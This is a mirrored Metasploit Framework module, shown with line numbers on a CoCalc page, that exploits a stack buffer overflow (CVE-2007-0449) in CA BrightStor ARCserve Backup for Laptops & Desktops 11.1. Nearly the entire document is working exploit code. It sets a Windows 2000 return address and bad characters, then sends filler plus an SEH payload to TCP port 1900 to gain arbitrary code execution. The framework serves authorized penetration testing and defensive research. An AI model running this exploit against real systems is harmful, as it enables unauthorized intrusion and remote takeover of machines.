CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/lgserver.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
17
for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
18
overflow the buffer and execute arbitrary code.
19
},
20
'Author' => [ 'MC' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2007-0449' ],
25
[ 'OSVDB', '31593' ],
26
[ 'BID', '22342' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'process',
32
},
33
'Payload' =>
34
{
35
'Space' => 600,
36
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
43
],
44
'DisclosureDate' => '2007-01-31',
45
'DefaultTarget' => 0))
46
47
register_options(
48
[
49
Opt::RPORT(1900)
50
])
51
end
52
53
def exploit
54
connect
55
56
filler = "0000016705" + rand_text_english(2322)
57
seh = generate_seh_payload(target.ret)
58
sploit = filler + seh + "\x58" * 0x4141
59
60
print_status("Trying target #{target.name}...")
61
62
sock.put(sploit)
63
handler
64
disconnect
65
end
66
end
67
68